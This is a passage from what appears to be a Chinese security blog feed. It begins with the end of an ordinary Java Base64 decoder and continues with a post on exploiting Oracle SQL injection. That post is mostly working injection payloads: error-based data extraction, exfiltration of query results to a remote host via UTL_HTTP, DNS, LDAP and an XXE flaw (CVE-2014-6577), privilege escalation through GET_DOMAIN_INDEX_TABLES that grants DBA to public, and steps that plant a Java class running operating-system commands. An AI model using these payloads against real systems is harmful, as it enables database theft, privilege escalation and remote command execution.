<span class="string">'+'</span>, <span class="string">'?'</span> &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Translates the specified Base64 string (as per Preferences.get(byte[])) into a byte array.</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throw</span> IllegalArgumentException if &lt;tt&gt;s&lt;/tt&gt; is not a valid Base64 string.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] base64ToByteArray(String s) &#123;</span><br><span class="line">        <span class="keyword">return</span> base64ToByteArray(s, <span class="keyword">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Translates the specified "alternate representation" Base64 string into a byte array.</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throw</span> IllegalArgumentException or ArrayOutOfBoundsException if &lt;tt&gt;s&lt;/tt&gt; is not a valid alternate</span></span><br><span class="line"><span class="comment">     * representation Base64 string.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] altBase64ToByteArray(String s) &#123;</span><br><span class="line">        <span class="keyword">return</span> base64ToByteArray(s, <span class="keyword">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] base64ToByteArray(String s, <span class="keyword">boolean</span> alternate) &#123;</span><br><span class="line">        <span class="keyword">byte</span>[] alphaToInt = (alternate ? altBase64ToInt : base64ToInt);</span><br><span class="line">        <span class="keyword">int</span> sLen = s.length();</span><br><span class="line">        <span class="keyword">int</span> numGroups = sLen / <span class="number">4</span>;</span><br><span class="line">        <span class="keyword">if</span> (<span class="number">4</span> * numGroups != sLen) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"String length must be a multiple of four."</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">int</span> missingBytesInLastGroup = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">int</span> numFullGroups = numGroups;</span><br><span class="line">        <span class="keyword">if</span> (sLen != <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (s.charAt(sLen - <span class="number">1</span>) == <span class="string">'='</span>) &#123;</span><br><span class="line">                missingBytesInLastGroup++;</span><br><span class="line">                numFullGroups--;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (s.charAt(sLen - <span class="number">2</span>) == <span class="string">'='</span>) &#123;</span><br><span class="line">                missingBytesInLastGroup++;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">byte</span>[] result = <span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">3</span> * numGroups - missingBytesInLastGroup];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Translate all full groups from base64 to byte array elements</span></span><br><span class="line">        <span class="keyword">int</span> inCursor = <span class="number">0</span>, outCursor = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; numFullGroups; i++) &#123;</span><br><span class="line">            <span class="keyword">int</span> ch0 = base64toInt(s.charAt(inCursor++), alphaToInt);</span><br><span class="line">            <span class="keyword">int</span> ch1 = base64toInt(s.charAt(inCursor++), alphaToInt);</span><br><span class="line">            <span class="keyword">int</span> ch2 = base64toInt(s.charAt(inCursor++), alphaToInt);</span><br><span class="line">            <span class="keyword">int</span> ch3 = base64toInt(s.charAt(inCursor++), alphaToInt);</span><br><span class="line">            result[outCursor++] = (<span class="keyword">byte</span>) ((ch0 &lt;&lt; <span class="number">2</span>) | (ch1 &gt;&gt; <span class="number">4</span>));</span><br><span class="line">            result[outCursor++] = (<span class="keyword">byte</span>) ((ch1 &lt;&lt; <span class="number">4</span>) | (ch2 &gt;&gt; <span class="number">2</span>));</span><br><span class="line">            result[outCursor++] = (<span class="keyword">byte</span>) ((ch2 &lt;&lt; <span class="number">6</span>) | ch3);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Translate partial group, if present</span></span><br><span class="line">        <span class="keyword">if</span> (missingBytesInLastGroup != <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">int</span> ch0 = base64toInt(s.charAt(inCursor++), alphaToInt);</span><br><span class="line">            <span class="keyword">int</span> ch1 = base64toInt(s.charAt(inCursor++), alphaToInt);</span><br><span class="line">            result[outCursor++] = (<span class="keyword">byte</span>) ((ch0 &lt;&lt; <span class="number">2</span>) | (ch1 &gt;&gt; <span class="number">4</span>));</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (missingBytesInLastGroup == <span class="number">1</span>) &#123;</span><br><span class="line">                <span class="keyword">int</span> ch2 = base64toInt(s.charAt(inCursor++), alphaToInt);</span><br><span class="line">                result[outCursor++] = (<span class="keyword">byte</span>) ((ch1 &lt;&lt; <span class="number">4</span>) | (ch2 &gt;&gt; <span class="number">2</span>));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// assert inCursor == s.length()-missingBytesInLastGroup;</span></span><br><span class="line">        <span class="comment">// assert outCursor == result.length;</span></span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Translates the specified character, which is assumed to be in the "Base 64 Alphabet" into its equivalent 6-bit</span></span><br><span class="line"><span class="comment">     * positive integer.</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throw</span> IllegalArgumentException or ArrayOutOfBoundsException if c is not in the Base64 Alphabet.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="title">base64toInt</span><span class="params">(<span class="keyword">char</span> c, <span class="keyword">byte</span>[] alphaToInt)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">int</span> result = alphaToInt[c];</span><br><span class="line">        <span class="keyword">if</span> (result &lt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Illegal character "</span> + c);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * This array is a lookup table that translates unicode characters drawn from the "Base64 Alphabet" (as specified in</span></span><br><span class="line"><span class="comment">     * Table 1 of RFC 2045) into their 6-bit positive integer equivalents. Characters that are not in the Base64</span></span><br><span class="line"><span class="comment">     * alphabet but fall within the bounds of the array are translated to -1.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">byte</span> base64ToInt[]    = &#123; -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>,</span><br><span class="line">            -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, <span class="number">62</span>,</span><br><span class="line">            -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, <span class="number">63</span>, <span class="number">52</span>, <span class="number">53</span>, <span class="number">54</span>, <span class="number">55</span>, <span class="number">56</span>, <span class="number">57</span>, <span class="number">58</span>, <span class="number">59</span>, <span class="number">60</span>, <span class="number">61</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>,</span><br><span class="line">            <span class="number">8</span>, <span class="number">9</span>, <span class="number">10</span>, <span class="number">11</span>, <span class="number">12</span>, <span class="number">13</span>, <span class="number">14</span>, <span class="number">15</span>, <span class="number">16</span>, <span class="number">17</span>, <span class="number">18</span>, <span class="number">19</span>, <span class="number">20</span>, <span class="number">21</span>, <span class="number">22</span>, <span class="number">23</span>, <span class="number">24</span>, <span class="number">25</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, <span class="number">26</span>, <span class="number">27</span>, <span class="number">28</span>,</span><br><span class="line">            <span class="number">29</span>, <span class="number">30</span>, <span class="number">31</span>, <span class="number">32</span>, <span class="number">33</span>, <span class="number">34</span>, <span class="number">35</span>, <span class="number">36</span>, <span class="number">37</span>, <span class="number">38</span>, <span class="number">39</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">42</span>, <span class="number">43</span>, <span class="number">44</span>, <span class="number">45</span>, <span class="number">46</span>, <span class="number">47</span>, <span class="number">48</span>, <span class="number">49</span>, <span class="number">50</span>, <span class="number">51</span> &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * This array is the analogue of base64ToInt, but for the nonstandard variant that avoids the use of uppercase</span></span><br><span class="line"><span class="comment">     * alphabetic characters.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">byte</span> altBase64ToInt[] = &#123; -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>,</span><br><span class="line">            -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, -<span class="number">1</span>, <span class="number">62</span>, <span class="number">9</span>, <span class="number">10</span>,</span><br><span class="line">            <span class="number">11</span>, -<span class="number">1</span>, <span class="number">52</span>, <span class="number">53</span>, <span class="number">54</span>, <span class="number">55</span>, <span class="number">56</span>, <span class="number">57</span>, <span class="number">58</span>, <span class="number">59</span>, <span class="number">60</span>, <span class="number">61</span>, <span class="number">12</span>, <span class="number">13</span>, <span class="number">14</span>, -<span class="number">1</span>, <span class="number">15</span>, <span class="number">63</span>, <span class="number">16</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>,</span><br><span class="line">            -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, <span class="number">17</span>, -<span class="number">1</span>, <span class="number">18</span>, <span class="number">19</span>, <span class="number">21</span>, <span class="number">20</span>, <span class="number">26</span>, <span class="number">27</span>, <span class="number">28</span>,</span><br><span class="line">            <span class="number">29</span>, <span class="number">30</span>, <span class="number">31</span>, <span class="number">32</span>, <span class="number">33</span>, <span class="number">34</span>, <span class="number">35</span>, <span class="number">36</span>, <span class="number">37</span>, <span class="number">38</span>, <span class="number">39</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">42</span>, <span class="number">43</span>, <span class="number">44</span>, <span class="number">45</span>, <span class="number">46</span>, <span class="number">47</span>, <span class="number">48</span>, <span class="number">49</span>, <span class="number">50</span>, <span class="number">51</span>, <span class="number">22</span>, <span class="number">23</span>, <span class="number">24</span>, <span class="number">25</span> &#125;;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;Driud是什么&quot;&gt;&lt;a href=&quot;#Driud是什么&quot; class=&quot;headerlink&quot; title=&quot;Driud是什么&quot;&gt;&lt;/a&gt;Driud是什么&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;Druid是阿里巴巴开源平台上的一个项目，整个项目由数据库连接池、
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>Oracle Sql注入利用方法</title>
    <link href="https://www.iswin.org/2015/06/13/hack-oracle/"/>
    <id>https://www.iswin.org/2015/06/13/hack-oracle/</id>
    <published>2015-06-13T06:57:34.000Z</published>
    <updated>2017-01-23T17:22:24.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>本文主要讨论在得到一枚oracle注入点时，如何通过Oracle自带函数或者缺陷获取数据，权限提升以及获得系统权限。</p>
</blockquote>
<h1 id="数据获取"><a href="#数据获取" class="headerlink" title="数据获取"></a>数据获取</h1><h2 id="报错注入的几种方式"><a href="#报错注入的几种方式" class="headerlink" title="报错注入的几种方式"></a>报错注入的几种方式</h2><h3 id="0x1-utl-inaddr-get-host-name"><a href="#0x1-utl-inaddr-get-host-name" class="headerlink" title="0x1 utl_inaddr.get_host_name"></a>0x1 utl_inaddr.get_host_name</h3><p>这种方法在<em>Oracle 8g，9g，10g</em>中不需要任何权限，但是在<em>Oracle 11g</em>以及以后的版本中，官方加强了访问控制权限，所以在11g以后要使用此方法进行报错注入，当前数据库用户必须有网络访问权限。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and 1=utl_inaddr.get_host_name((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual))<span class="comment">--</span></span><br></pre></td></tr></table></figure></p>
<h3 id="0x2-ctxsys-drithsx-sn"><a href="#0x2-ctxsys-drithsx-sn" class="headerlink" title="0x2 ctxsys.drithsx.sn"></a>0x2 ctxsys.drithsx.sn</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and 1=ctxsys.drithsx.sn(1,(<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual))<span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h3 id="0x3-XMLType"><a href="#0x3-XMLType" class="headerlink" title="0x3 XMLType"></a>0x3 XMLType</h3><p>在使用这个XMLType进行报错时，很多人不知道为什么要用chr(60)，通过ascii查询可以看到，60:&lt;,58:’:’,62:’&gt;’,查了下相关的api，发现xmltype在进行解析的时候必须以&lt;开头&gt;结尾，这里:冒号在这是必不可少的，至于为什么是冒号这个我也没查到，另外需要注意的是如果返回的数据种有空格的话，它会自动截断，导致数据不完整，有replace函数替换成其他非空字符就可以。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> <span class="keyword">upper</span>(<span class="keyword">XMLType</span>(<span class="keyword">chr</span>(<span class="number">60</span>)||<span class="keyword">chr</span>(<span class="number">58</span>)||(<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)||<span class="keyword">chr</span>(<span class="number">62</span>))) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure></p>
<h3 id="0x4-dbms-xdb-version-checkin"><a href="#0x4-dbms-xdb-version-checkin" class="headerlink" title="0x4 dbms_xdb_version.checkin"></a>0x4 dbms_xdb_version.checkin</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> dbms_xdb_version.checkin((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h3 id="0x5-dbms-xdb-version-makeversioned"><a href="#0x5-dbms-xdb-version-makeversioned" class="headerlink" title="0x5 dbms_xdb_version.makeversioned"></a>0x5 dbms_xdb_version.makeversioned</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> dbms_xdb_version.makeversioned((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h3 id="0x6-dbms-xdb-version-uncheckout"><a href="#0x6-dbms-xdb-version-uncheckout" class="headerlink" title="0x6 dbms_xdb_version.uncheckout"></a>0x6 dbms_xdb_version.uncheckout</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> dbms_xdb_version.uncheckout((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h3 id="0x7-dbms-utility-sqlid-to-sqlhash"><a href="#0x7-dbms-utility-sqlid-to-sqlhash" class="headerlink" title="0x7 dbms_utility.sqlid_to_sqlhash"></a>0x7 dbms_utility.sqlid_to_sqlhash</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">SELECT</span> dbms_utility.sqlid_to_sqlhash((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h2 id="UTL-HTTP-request的使用"><a href="#UTL-HTTP-request的使用" class="headerlink" title="UTL_HTTP.request的使用"></a>UTL_HTTP.request的使用</h2><p>通过utl_http.request我们可以将查询的结果发送到远程服务器上，在遇到盲注时非常有用，要使用该方法用户需要有utl_http访问网络的权限。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (UTL_HTTP.request('http://www.iswin.org:80/'||(<span class="keyword">select</span> banner <span class="keyword">from</span> sys.v_$<span class="keyword">version</span> <span class="keyword">where</span> <span class="keyword">rownum</span>=<span class="number">1</span>))=<span class="number">1</span>—</span><br></pre></td></tr></table></figure></p>
<h2 id="UTL-INADDR-GET-HOST-ADDRESS-amp-SYS-DBMS-LDAP-INIT"><a href="#UTL-INADDR-GET-HOST-ADDRESS-amp-SYS-DBMS-LDAP-INIT" class="headerlink" title="UTL_INADDR.GET_HOST_ADDRESS&amp;SYS.DBMS_LDAP.INIT"></a>UTL_INADDR.GET_HOST_ADDRESS&amp;SYS.DBMS_LDAP.INIT</h2><p>很多时候数据服务器都是站库分离的，而且不一定能出网，有时候可能会允许DNS请求，所以该方法能在一定情况下奏效。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> utl_inaddr.get_host_address((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)||<span class="string">'.iswin.org'</span>) <span class="keyword">from</span> dual)<span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--￼</span></span><br></pre></td></tr></table></figure></p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_LDAP.INIT((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)||<span class="string">'.iswin.org'</span>) <span class="keyword">from</span> dual)<span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--￼</span></span><br></pre></td></tr></table></figure>
<h2 id="Oracle-XXE-CVE-2014-6577"><a href="#Oracle-XXE-CVE-2014-6577" class="headerlink" title="Oracle XXE(CVE-2014-6577)"></a>Oracle XXE(CVE-2014-6577)</h2><p><strong><em>受影响版本：11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2</em></strong></p>
<p>这里Oracle的XXE的利用效果和UTL_http的效果差不多，都是将数据传输到远端服务器上，但是，由于extractvalue()函数对所有数据库用户都可以使用，不存在权限的问题，所以当在低权限没有UTL_http访问权限时，这个不失为一个好方法。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> extractvalue(<span class="keyword">xmltype</span>(<span class="string">'&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "http://172.16.10.1:8080/'</span>||(<span class="keyword">SELECT</span> <span class="keyword">user</span> <span class="keyword">from</span> dual)||<span class="string">'"&gt; %remote;]&gt;'</span>),<span class="string">'/l'</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span></span><br></pre></td></tr></table></figure></p>
<h1 id="Oracle-提权漏洞"><a href="#Oracle-提权漏洞" class="headerlink" title="Oracle 提权漏洞"></a>Oracle 提权漏洞</h1><h2 id="GET-DOMAIN-INDEX-TABLES函数注入漏洞"><a href="#GET-DOMAIN-INDEX-TABLES函数注入漏洞" class="headerlink" title="GET_DOMAIN_INDEX_TABLES函数注入漏洞"></a>GET_DOMAIN_INDEX_TABLES函数注入漏洞</h2><p>影响版本:<strong><em>Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2</em></strong></p>
<p>漏洞的成因是该函数的参数存在注入，而该函数的所有者是sys，所以通过注入就可以执行任意sql，该函数的执行权限为public，所以只要遇到一个oracle的注入点并且存在这个漏洞的，基本上都可以提升到最高权限。</p>
<h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);<span class="keyword">EXECUTE</span> <span class="keyword">IMMEDIATE</span> <span class="string">''</span><span class="keyword">DECLARE</span> <span class="keyword">PRAGMA</span> AUTONOMOUS_TRANSACTION;<span class="keyword">BEGIN</span> <span class="keyword">EXECUTE</span> <span class="keyword">IMMEDIATE</span> <span class="string">''''</span><span class="keyword">grant</span> dba <span class="keyword">to</span> <span class="keyword">public</span><span class="string">''''</span>;<span class="keyword">END</span>;'';<span class="keyword">END</span>;<span class="comment">--','SYS',0,'1',0)) is not null--</span></span><br></pre></td></tr></table></figure>
<p>权限提升之后就可以做很多事了，因为Oracle可以执行JAVA代码，所以在提升权限后具体怎么操作，就看各自的JAVA水平了。<br>这里给出几种常见的利用方式。</p>
<h3 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h3><h4 id="创建JAVA代码"><a href="#创建JAVA代码" class="headerlink" title="创建JAVA代码"></a>创建JAVA代码</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command&#123;public static String exec(String cmd) throws Exception&#123;String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;&#125;&#125;'''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span></span><br></pre></td></tr></table></figure>
<h4 id="赋予JAVA执行权限"><a href="#赋予JAVA执行权限" class="headerlink" title="赋予JAVA执行权限"></a>赋予JAVA执行权限</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''&lt;&lt;ALL FILES&gt;&gt;'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h4 id="创建函数"><a href="#创建函数" class="headerlink" title="创建函数"></a>创建函数</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h4 id="赋予函数执行权限"><a href="#赋予函数执行权限" class="headerlink" title="赋予函数执行权限"></a>赋予函数执行权限</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
